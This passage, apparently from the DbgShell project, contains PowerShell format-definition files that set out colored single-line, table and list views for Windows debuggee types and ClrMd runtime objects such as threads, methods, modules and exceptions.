(New-ColorString -Content "" -Fore Yellow) } $cs = (Format-DbgTypeName '_TEB').Append( ': ' ) if( $_.InitialThread ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Green, "(InitialThread) " ) } if( $_.WaitingOnLoaderLock ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, "(WaitingOnLoaderLock) " ) } $cs = $cs.Append( "LastError: " ) if( $_.LastErrorValue ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, $_.LastErrorValue.ToString( 'x' ) ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkGray, '0' ) } $cs = $cs.Append( " LastStatus: " ) if( $_.LastStatusValue ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, $_.LastStatusValue.ToString( 'x' ) ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkGray, '0' ) } $cs = $cs.Append( " OwnedLocks: " ) if( $_.CountOfOwnedCriticalSections ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Magenta, $_.CountOfOwnedCriticalSections.ToString() ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkGreen, '0' ) } $cs } # end AltSingleLineViewDefinition } # end Type !_TEB } # end TypeEntries ================================================ FILE: DbgShell/x64/Debugger/Debugger.DebuggeeTypes.atl.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be). The alternate formatting engine can find these view definitions because # the alternate formatting engine use the "TypeNames" list of a PSObject to # look up view definitions, and the debugger module inserts the debuggee type # names into the "TypeNames" list of PSObjects that it generates to represent # objects in the debuggee. # Register-AltTypeFormatEntries { New-AltTypeFormatEntry -TypeName '!ATL::CComAutoDeleteCriticalSection' { New-AltSingleLineViewDefinition { if( !$_.m_bInitialized ) { return New-ColorString -Fore 'Yellow' -Content '(not initialized)' } else { return (Format-AltSingleLine -InputObject $_.m_sec) } } # end AltSingleLineViewDefinition } # end Type ATL::CComAutoDeleteCriticalSection } # end TypeEntries ================================================ FILE: DbgShell/x64/Debugger/Debugger.DebuggeeTypes.clr.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be). The alternate formatting engine can find these view definitions because # the alternate formatting engine use the "TypeNames" list of a PSObject to # look up view definitions, and the debugger module inserts the debuggee type # names into the "TypeNames" list of PSObjects that it generates to represent # objects in the debuggee. # Register-AltTypeFormatEntries { # # Native stuff (like stuff in clr.dll) # # SString represents a string, but it could be represented several different ways. # # It might be better to use a converter instead of a view definition 9especially good # for scripting scenarios), but there are some flags that we might want to look at. # There is a WCHAR* m_asStr member on most definitions, which hopefully covers the # scripting scenario well enough (because that /will/ get converted to a string). If # not we could use a converter to just add a member to the "stock" value, which would # read it as a string, using the proper representation. New-AltTypeFormatEntry -TypeName '!SString' { New-AltSingleLineViewDefinition { if( $_.m_buffer.DbgIsNull() ) { return [string]::Empty } $representation = $_.m_flags -band 0x07 # REPRESENTATION_MASK [string] $str = $null if( 0x04 -eq $representation ) { # REPRESENTATION_UNICODE $str = $_.m_buffer.DbgGetSymbol().ReadAs_pwszString() } elseif( 0x01 -eq $representation ) { # REPRESENTATION_ASCII $str = $_.m_buffer.DbgGetSymbol().ReadAs_pszString() } elseif( 0x03 -eq $representation ) { # REPRESENTATION_UTF8 $str = $_.m_buffer.DbgGetSymbol().ReadAs_putf8szString() } elseif( 0x07 -eq $representation ) { # REPRESENTATION_ANSI # TODO: BUGBUG: This is probably wrong (code page) $str = $_.m_buffer.DbgGetSymbol().ReadAs_pszString() } else { # Probably just an empty string. if( (0 -ne $representation) -or ($_.m_size -gt 2) ) { # (it could be a type derived from SString) return (New-ColorString).Append( $_.DbgGetSymbol().Type.ColorName ). AppendPushPopFg( [ConsoleColor]::Yellow, " " ) } $str = [string]::Empty } return (New-ColorString -Content '"').AppendPushPopFg( [ConsoleColor]::Cyan, $str ).Append( '"' ) } # end AltSingleLineViewDefinition } # end Type SString # This is the base class for a lot of things, like ReleaseHolder New-AltTypeFormatEntry -TypeName '!HolderBase' { New-AltSingleLineViewDefinition { Format-AltSingleLine -InputObject $_.m_value } # end AltSingleLineViewDefinition } # end Type HolderBase # ADID: Stands for AppDomainID, I think. New-AltTypeFormatEntry -TypeName '!ADID' { New-AltSingleLineViewDefinition { Format-AltSingleLine -InputObject $_.m_dwId } # end AltSingleLineViewDefinition } # end Type ADID New-AltTypeFormatEntry -TypeName '!AppDomain' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() $cs = (New-ColorString).Append( $sym.Type.ColorName ). Append( ' ' ). AppendPushPopFg( [ConsoleColor]::Green, $_.m_friendlyName.m_asStr ). Append( ' (Id ' ). Append( $_.m_dwId.m_dwId.ToString() ). Append( ') ' ). Append( $_.m_stage.ToColorStringSimple() ) return $cs } # end AltSingleLineViewDefinition } # end Type AppDomain # # ClrMd stuff # New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrStackFrame' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -Property 'Kind' -Width 13 -Alignment Right New-AltScriptColumn -Label 'StackPointer' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.get_StackPointer() } New-AltScriptColumn -Label 'InstructionPointer' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.get_InstructionPointer() } New-AltPropertyColumn -Property 'DisplayString' -Alignment Left } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Kind' New-AltScriptListItem -Label 'InstructionPointer' { Format-DbgAddress $_.get_InstructionPointer() } New-AltScriptListItem -Label 'StackPointer' { Format-DbgAddress $_.get_StackPointer() } New-AltPropertyListItem -PropertyName 'DisplayString' New-AltPropertyListItem -PropertyName 'Method' } # end List view } # end Type Microsoft.Diagnostics.Runtime.ClrStackFrame New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ILToNativeMap' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'ILOffset' -Width 16 -Alignment Right -Script { <# CLRDATA_IL_OFFSET_NO_MAPPING = -1, CLRDATA_IL_OFFSET_PROLOG = -2, CLRDATA_IL_OFFSET_EPILOG = -3 #> $ilOffset = $_.ILOffset if( -1 -eq $ilOffset ) { '(no mapping) -1' } elseif( -2 -eq $ilOffset ) { '(prolog) -2' } elseif( -3 -eq $ilOffset ) { '(epilog) -3' } else { $ilOffset.ToString() } } New-AltScriptColumn -Label 'StartAddress' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.StartAddress } New-AltScriptColumn -Label 'EndAddress' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.EndAddress } New-AltScriptColumn -Label '(Size)' -Width 10 -Alignment Left -Script { $_.EndAddress - $_.StartAddress } } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'ILOffset' { <# CLRDATA_IL_OFFSET_NO_MAPPING = -1, CLRDATA_IL_OFFSET_PROLOG = -2, CLRDATA_IL_OFFSET_EPILOG = -3 #> $ilOffset = $_.ILOffset if( -1 -eq $ilOffset ) { '-1 (no mapping)' } elseif( -2 -eq $ilOffset ) { '-2 (prolog)' } elseif( -3 -eq $ilOffset ) { '-3 (epilog)' } else { $ilOffset.ToString() } } New-AltScriptListItem -Label 'StartAddress' { Format-DbgAddress $_.StartAddress } New-AltScriptListItem -Label 'EndAddress' { Format-DbgAddress $_.EndAddress } New-AltScriptListItem -Label '(Size)' { $_.EndAddress - $_.StartAddress } } # end List view } # end Type Microsoft.Diagnostics.Runtime.ILToNativeMap New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrMethod' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -Property 'MetadataToken' -Width 13 -Alignment Right -FormatString '0x{0:x}' New-AltPropertyColumn -Property 'CompilationType' -Label 'CType' -Width 5 -Alignment Center New-AltScriptColumn -Label 'NativeCode' -Width 17 -Tag 'Address' { Format-DbgAddress $_.get_NativeCode() } #New-AltPropertyColumn -Property 'Name' -Width 28 -Alignment Left New-AltScriptColumn -Label 'Name' -Alignment Left -TrimLocation Left -Script { $sb = New-Object 'System.Text.StringBuilder' # Can Type be null for special cases or something? $t = $_.get_Type() if( $t ) { # Maybe we don't need to shorten... # $lastDotIdx = $t.Name.LastIndexOf( '.' ) # if( $lastDotIdx -gt 0 ) # { # $null = $sb.Append( $t.Name.Substring( $lastDotIdx + 1 ) ) # } # else # { $null = $sb.Append( $t.Name ) # } $null = $sb.Append( '.' ) } $null = $sb.Append( $_.get_Name() ) $sb.ToString() } } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Name' New-AltScriptListItem -Label 'NativeCode' { # TODO: Un-jitted things show up as -1, not 0? Is 0 used, and if so, what # does it mean? I could format differently based on that. Format-DbgAddress $_.get_NativeCode() } New-AltPropertyListItem -PropertyName 'CompilationType' New-AltPropertyListItem -PropertyName 'MetadataToken' -FormatString '0x{0:x}' New-AltScriptListItem -Label '(Other Flags)' { $cs = New-ColorString if( $_.get_IsPublic() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsPublic ' ) } if( $_.get_IsPrivate() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsPrivate ' ) } if( $_.get_IsInternal() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsInternal ' ) } if( $_.get_IsProtected() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsProtected ' ) } if( $_.get_IsStatic() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsStatic ' ) } if( $_.get_IsFinal() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsFinal ' ) } if( $_.get_IsVirtual() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsVirtual ' ) } if( $_.get_IsAbstract() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsAbstract ' ) } if( $_.get_IsPInvoke() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsPInvoke ' ) } if( $_.get_IsSpecialName() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsSpecialName ' ) } if( $_.get_IsRTSpecialName() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Magenta, 'IsRTSpecialName ' ) } $cs } New-AltScriptListItem -Label 'ILOffsetMap' { $ilom = $_.get_ILOffsetMap() if( $ilom ) { [string]::Format( '{0} entries', $ilom.Length ) } else { '-' } } New-AltPropertyListItem -PropertyName 'Type' } # end List view New-AltSingleLineViewDefinition { $_.GetFullSignature() } # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrMethod New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrType' { function GetStructuralCategory( $type ) { [int] $numSet = 0 if( $type.get_IsObjectReference() ) { New-ColorString -Content 'Object Reference' -Fore Green $numSet += 1 } if( $type.get_IsValueClass() ) { New-ColorString -Content 'Value Class' -Fore DarkYellow $numSet += 1 } if( $type.get_IsPrimitive() ) { New-ColorString -Content 'Primitive' -Fore White $numSet += 1 } if( 1 -ne $numSet ) { throw "I expected it to be one of: obj ref, value class, or primitive." } } # end GetStructuralCategory function GetTypeCategory( $type ) { [int] $numSet = 0 if( $type.get_IsString() ) { New-ColorString -Content 'String' -Fore Cyan $numSet += 1 } if( $type.get_IsException() ) { New-ColorString -Content 'Exception' -Fore Yellow $numSet += 1 } if( $type.get_IsEnum() ) { New-ColorString -Content 'Enum' $numSet += 1 } if( $type.get_IsArray() ) { New-ColorString -Content 'Array' -Fore DarkYellow $numSet += 1 } if( $type.get_IsInterface() ) { New-ColorString -Content 'Interface' -Fore White $numSet += 1 } if( $type.get_IsRuntimeType() ) { New-ColorString -Content 'RuntimeType' -Fore Green $numSet += 1 } if( $numSet -gt 1 ) { throw "I expected zero or one of these to be true." } elseif( 0 -eq $numSet ) { New-ColorString -Content 'Object' -Fore DarkGray } } # end GetTypeCategory New-AltListViewDefinition -ListItems { #New-AltPropertyListItem -PropertyName 'Name' New-AltScriptListItem -Label 'Name' { Format-DbgTypeName $_.Name } New-AltPropertyListItem -PropertyName 'MetadataToken' -FormatString '0x{0:x}' New-AltScriptListItem -Label 'MethodTable' { Format-DbgAddress $_.MethodTable } New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'Heap' New-AltPropertyListItem -PropertyName 'ElementType' New-AltPropertyListItem -PropertyName 'ElementSize' New-AltPropertyListItem -PropertyName 'BaseType' New-AltPropertyListItem -PropertyName 'BaseSize' New-AltPropertyListItem -PropertyName 'Interfaces' New-AltPropertyListItem -PropertyName 'HasSimpleValue' New-AltPropertyListItem -PropertyName 'Shared' # New-AltPropertyListItem -PropertyName 'IsObjectReference' # New-AltPropertyListItem -PropertyName 'IsValueClass' # New-AltPropertyListItem -PropertyName 'IsPrimitive' New-AltPropertyListItem -PropertyName 'ContainsPointers' New-AltScriptListItem -Label '(Structural Category)' { GetStructuralCategory $_ } -CaptureContext New-AltScriptListItem -Label '(Type category)' { GetTypeCategory $_ } -CaptureContext New-AltScriptListItem -Label '(Type Flags)' { $cs = New-ColorString if( $_.get_IsFinalizable() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, 'IsFinalizable ' ) } if( $_.get_IsFree() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, 'IsFree ' ) } $cs } New-AltScriptListItem -Label '(Access Flags)' { $cs = New-ColorString if( $_.get_IsPublic() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsPublic ' ) } if( $_.get_IsPrivate() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsPrivate ' ) } if( $_.get_IsInternal() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsInternal ' ) } if( $_.get_IsProtected() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsProtected ' ) } if( $_.get_IsSealed() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Magenta, 'IsSealed ' ) } if( $_.get_IsAbstract() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Magenta, 'IsAbstract ' ) } $cs } New-AltPropertyListItem -PropertyName 'Fields' New-AltPropertyListItem -PropertyName 'StaticFields' New-AltPropertyListItem -PropertyName 'ThreadStaticFields' New-AltPropertyListItem -PropertyName 'Methods' New-AltPropertyListItem -PropertyName 'ComponentType' } # end List view New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Name' -Alignment Left -Width 40 { Format-DbgTypeName $_.Name } New-AltPropertyColumn -Property 'Module' -Width 20 -Alignment Right New-AltPropertyColumn -Property 'MetadataToken' -Width 13 -Alignment Right -FormatString '0x{0:x}' New-AltPropertyColumn -Property 'BaseSize' -Width 8 -Alignment Right New-AltScriptColumn -Label '(StructCat)' -Width 16 { GetStructuralCategory $_ } -CaptureContext New-AltScriptColumn -Label '(TypeCat)' -Width 11 { GetTypeCategory $_ } -CaptureContext } # End Columns } # end Table view New-AltSingleLineViewDefinition { #(New-ColorString -Content 'ClrType: ').Append( (Format-DbgTypeName $_.Name) ) Format-DbgTypeName $_.Name } # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrType New-AltTypeFormatEntry -TypeName 'MS.Dbg.ClrObject' { New-AltTableViewDefinition { New-AltScriptColumn -Label 'TypeName' { Format-DbgTypeName $_.ClrType.Name } New-AltScriptColumn -Label 'Value' { if ($_.ClrType.HasSimpleValue) { $_.ClrType.GetValue($_.Address) } else { Format-DbgAddress $_.Address } } } New-AltSingleLineViewDefinition { $cs = (New-ColorString).Append( (Format-DbgAddress $_.Address) ). Append( ' ' ). Append( (Format-DbgTypeName $_.ClrType.Name) ) if ($_.ClrType.HasSimpleValue) { $cs = $cs.Append( ' ' ).Append( $_.ClrType.GetValue($_.Address) ) } $cs } } New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrInterface' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'Name' { Format-DbgTypeName $_.Name } New-AltPropertyListItem -PropertyName 'BaseInterface' } # end List view New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Name' -Alignment Left -Script { Format-DbgTypeName $_.Name } New-AltPropertyColumn -Property 'BaseInterface' -Alignment Left } # End Columns } # end Table view New-AltSingleLineViewDefinition { Format-DbgTypeName $_.Name } # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrInterface New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrModule' { function GetShortHighlightedName( $clrMod ) { Format-DbgModuleName ([system.io.path]::GetFileNameWithoutExtension( $clrMod.Name )) } New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Name' -Width 64 -Alignment Right -Script { GetShortHighlightedName $_ } -CaptureContext New-AltScriptColumn -Label 'ImageBase' -Alignment Left -Width 17 -Tag 'Address' -Script { Format-DbgAddress $_.get_ImageBase() } New-AltPropertyColumn -Property 'Size' -Alignment Right -Width 9 -FormatString '0x{0:x}' New-AltScriptColumn -Label 'PdbLoaded' -Alignment Center -Width 9 -Script { if( $_.get_IsPdbLoaded() ) { 'True' } else { New-ColorString -Content '-' -Fore DarkBlue } } New-AltScriptColumn -Label 'Dynamic' -Alignment Center -Width 7 -Script { if( $_.get_IsDynamic() ) { New-ColorString -Content 'DYNAMIC' -Fore Magenta } else { New-ColorString -Content 'no' -Fore DarkBlue } } } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Name' New-AltPropertyListItem -PropertyName 'AssemblyName' New-AltPropertyListItem -PropertyName 'FileName' New-AltScriptListItem -Label 'ImageBase' { Format-DbgAddress $_.get_ImageBase() } New-AltPropertyListItem -PropertyName 'Size' -FormatString '0x{0:x}' New-AltScriptListItem -Label 'MetadataAddress' { Format-DbgAddress $_.get_MetadataAddress() } New-AltPropertyListItem -PropertyName 'MetadataLength' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'MetadataImport' New-AltScriptListItem -Label 'AssemblyId' { Format-DbgAddress $_.get_AssemblyId() } New-AltPropertyListItem -PropertyName 'Revision' New-AltPropertyListItem -PropertyName 'DebuggingMode' New-AltPropertyListItem -PropertyName 'IsFile' New-AltPropertyListItem -PropertyName 'IsDynamic' New-AltPropertyListItem -PropertyName 'IsPdbLoaded' New-AltPropertyListItem -PropertyName 'PdbInterface' } # end List view New-AltSingleLineViewDefinition { GetShortHighlightedName $_ } -CaptureContext # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrModule New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrThread' { function GetThreadCategoryString( $clrThread, [bool] $short ) { [int] $numSet = 0 $cs = $null if( $clrThread.get_IsBackground() -and !$short ) { $cs = New-ColorString -Content 'Background: ' -Fore DarkCyan } else { $cs = New-ColorString } if( $clrThread.IsFinalizer ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Magenta, 'Finalizer' ) $numSet += 1 } if( $clrThread.IsGC ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Green, 'GC' ) $numSet += 1 } if( $clrThread.IsDebuggerHelper ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkYellow, 'DbgHelper' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkYellow, 'DebuggerHelper' ) } $numSet += 1 } if( $clrThread.IsThreadpoolTimer ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'TpTimer' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'ThreadpoolTimer' ) } $numSet += 1 } if( $clrThread.IsThreadpoolCompletionPort ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkCyan, 'TpComplPort' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkCyan, 'ThreadpoolCompletionPort' ) } $numSet += 1 } if( $clrThread.IsThreadpoolWorker ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::White, 'TpWorker' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::White, 'ThreadpoolWorker' ) } $numSet += 1 } if( $clrThread.IsThreadpoolWait ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, 'TpWait' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, 'ThreadpoolWait' ) } $numSet += 1 } if( $clrThread.IsThreadpoolGate ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkRed, 'TpGate' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkRed, 'ThreadpoolGate' ) } $numSet += 1 } if( $clrThread.IsShutdownHelper ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Red, 'ShutdownHelper' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Red, 'ShutdownHlp' ) } $numSet += 1 } if( 0 -eq $numSet ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkGray, '(user)' ) } $cs } # end GetThreadCategoryString() function GetThreadStateString( $clrThread ) { $cs = $null if( $clrThread.IsAlive ) { $cs = New-ColorString -Content 'Alive' -Fore Green } else { $cs = New-ColorString -Content 'Dead' -Fore DarkRed } if( $clrThread.IsSuspendingEE ) { $cs = $cs.Append( (New-ColorString -Content ' SuspendingEE' -Color Magenta) ) } if( $clrThread.IsGCSuspendPending ) { $cs = $cs.Append( (New-ColorString -Content ' GCSuspendPending' -Color Cyan) ) } if( $clrThread.IsUserSuspended ) { $cs = $cs.Append( (New-ColorString -Content ' UserSuspended' -Color Yellow) ) } if( $clrThread.IsDebugSuspended ) { $cs = $cs.Append( (New-ColorString -Content ' DebugSuspended' -Color DarkYellow) ) } if( $clrThread.IsUnstarted ) { $cs = $cs.Append( (New-ColorString -Content ' Unstarted' -Color DarkGray) ) } if( $clrThread.IsAborted ) { $cs = $cs.Append( (New-ColorString -Content ' Aborted' -Color Red) ) } if( $clrThread.IsAbortRequested ) { $cs = $cs.Append( (New-ColorString -Content ' AbortRequested' -Color DarkRed) ) } $cs } # end GetThreadStateString() function GetThreadComStateString( $clrThread, [bool] $short ) { if( $clrThread.IsCoInitialized ) { if( $clrThread.IsSTA ) { New-ColorString -Content 'STA' -Fore Yellow } elseif( $clrThread.IsMTA ) { New-ColorString -Content 'MTA' -Fore Green } else { throw "Can a managed thread be CoInitialized, but not MTA or STA? (or is this bad data?)" } } else { if( $short ) { New-ColorString -Content '---' -Fore DarkGray } else { New-ColorString -Content '(not CoInitialized)' -Fore DarkGray } if( $clrThread.IsSTA -or $clrThread.IsMTA ) { throw "Bad data? Thread is STA or MTA, but not CoInitialized." } } } # end GetThreadComStateString() function GetLockCountString( $clrThread ) { if( $clrThread.get_LockCount() -eq 0 ) { New-ColorString -Content '0' -Fore Green } else { New-ColorString -Content $clrThread.get_LockCount().ToString() -Fore Yellow } } New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -Property 'ManagedThreadId' -Label 'mId' -Alignment Right -Width 4 # TODO: I bet I need to manually 'x' it out for dead threads New-AltPropertyColumn -Property 'OSThreadId' -Label 'OSId' -Alignment Right -Width 7 -FormatString '{0:x}' New-AltScriptColumn -Label 'Address' -Alignment Center -Width 17 -Tag 'Address' -Script { Format-DbgAddress $_.get_Address() } New-AltScriptColumn -Label 'Locks' -Alignment Right -Width 5 -Script { GetLockCountString $_ } -CaptureContext New-AltScriptColumn -Label 'Live' -Alignment Center -Width 4 -Script { if( $_.get_IsAlive() ) { New-ColorString -Content ([char] 0x221a) -Fore Green } else { New-ColorString -Content 'X' -Fore DarkRed } } New-AltScriptColumn -Label 'BG' -Alignment Right -Width 2 -Script { if( $_.get_IsBackground() ) { 'Y' } else { New-ColorString -Content 'n' -Fore Blue } } New-AltScriptColumn -Label '(Category)' -Alignment Center -Width 11 -Script { GetThreadCategoryString $_ $true } -CaptureContext New-AltScriptColumn -Label 'COM' -Alignment Center -Width 3 -Script { GetThreadComStateString $_ $true } -CaptureContext New-AltScriptColumn -Label 'AppDomain' -Alignment Center -Width 17 -Tag 'Address' -Script { Format-DbgAddress $_.get_AppDomain() } New-AltPropertyColumn -Property 'CurrentException' -Alignment Left } # End Columns } # end Table view New-AltListViewDefinition -ListItems { # TODO: Where is the 'Name' property? New-AltPropertyListItem -PropertyName 'ManagedThreadId' -FormatString '{0:x}' # TODO: I bet I need to manually 'x' it out for dead threads New-AltPropertyListItem -PropertyName 'OSThreadId' -FormatString '{0:x}' New-AltScriptListItem -Label 'Address' { Format-DbgAddress $_.get_Address() } New-AltScriptListItem -Label '(Category)' { GetThreadCategoryString $_ } -CaptureContext New-AltScriptListItem -Label 'StackBase' { Format-DbgAddress $_.get_StackBase() } New-AltScriptListItem -Label 'StackLimit' { Format-DbgAddress $_.get_StackLimit() } New-AltScriptListItem -Label '(State)' { GetThreadStateString $_ } -CaptureContext New-AltScriptListItem -Label '(COM State)' { GetThreadComStateString $_ } -CaptureContext New-AltScriptListItem -Label 'Teb' { Format-DbgAddress $_.get_Teb() } New-AltPropertyListItem -PropertyName 'GcMode' # TODO: Instead of just displaying the AppDomain address... I could # use Types.ps1xl to actually put the clr!AppDomain object in here. New-AltScriptListItem -Label 'AppDomain' { Format-DbgAddress $_.get_AppDomain() } New-AltScriptListItem -Label 'LockCount' { GetLockCountString $_ } -CaptureContext # TODO: need to find a thread like this so I can figure a better way to format it. New-AltPropertyListItem -PropertyName 'CurrentException' New-AltPropertyListItem -PropertyName 'StackTrace' New-AltPropertyListItem -PropertyName 'BlockingObjects' } # end List view New-AltSingleLineViewDefinition { $cs = New-ColorString -Content 'Thread:' -Fore Black -Back DarkCyan $cs = $cs.Append( ' ' ).Append( $_.get_ManagedThreadId().ToString() ) $cs = $cs.Append( ' (' ).Append( $_.get_OSThreadId().ToString( 'x' ) ).Append( ') ' ) $cs = $cs.Append( (GetThreadStateString $_) ).Append( ' ' ) $cs = $cs.Append( (GetThreadCategoryString $_) ).Append( ' ' ) $cs = $cs.Append( (GetThreadComStateString $_) ).Append( ' ' ) $cs = $cs.Append( 'LockCount: ' ).Append( (GetLockCountString $_) ) $cs } -CaptureContext # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrThread New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrException' { New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Type' New-AltPropertyListItem -PropertyName 'Message' New-AltScriptListItem -Label 'Address' { Format-DbgAddress $_.get_Address() } New-AltPropertyListItem -PropertyName 'StackTrace' New-AltPropertyListItem -PropertyName 'HResult' -FormatString '{0:x8}' New-AltPropertyListItem -PropertyName 'Inner' } # end List view New-AltSingleLineViewDefinition { # TODO: Managed type name shortening $cs = Format-DbgTypeName $_.get_Type().get_Name() $cs = $cs.Append( ': "' ).Append( $_.get_Message() ).Append( '"' ) $cs } -CaptureContext # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrException New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrRuntime' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label '(Type)' { Format-DbgTypeName $_.GetType().get_FullName() } New-AltPropertyListItem -PropertyName 'ClrInfo' # New-AltPropertyListItem -PropertyName 'Threads' New-AltScriptListItem -Label 'Threads' { $_.get_Threads() | %{ $_.get_OSThreadId().ToString( 'x' ) } } New-AltPropertyListItem -PropertyName 'ServerGC' New-AltPropertyListItem -PropertyName 'HeapCount' New-AltPropertyListItem -PropertyName 'PointerSize' New-AltPropertyListItem -PropertyName 'AppDomains' New-AltPropertyListItem -PropertyName 'IsSingleDomain' New-AltScriptListItem -Label 'ArrayMethodTable' { Format-DbgAddress $_.get_ArrayMethodTable() } New-AltScriptListItem -Label 'ExceptionMethodTable' { Format-DbgAddress $_.get_ExceptionMethodTable() } New-AltScriptListItem -Label 'ObjectMethodTable' { Format-DbgAddress $_.get_ObjectMethodTable() } New-AltScriptListItem -Label 'StringMethodTable' { Format-DbgAddress $_.get_StringMethodTable() } New-AltScriptListItem -Label 'FreeMethodTable' { Format-DbgAddress $_.get_FreeMethodTable() } New-AltPropertyListItem -PropertyName 'SystemDomain' New-AltPropertyListItem -PropertyName 'SharedDomain' New-AltPropertyListItem -PropertyName 'DataTarget' New-AltPropertyListItem -PropertyName 'DataReader' } # end List view } # end Type Microsoft.Diagnostics.Runtime.ClrRuntime New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrAppDomain' { New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Name' New-AltPropertyListItem -PropertyName 'Id' New-AltScriptListItem -Label 'Address' { Format-DbgAddress $_.get_Address() } New-AltPropertyListItem -PropertyName 'ApplicationBase' New-AltPropertyListItem -PropertyName 'ConfigurationFile' 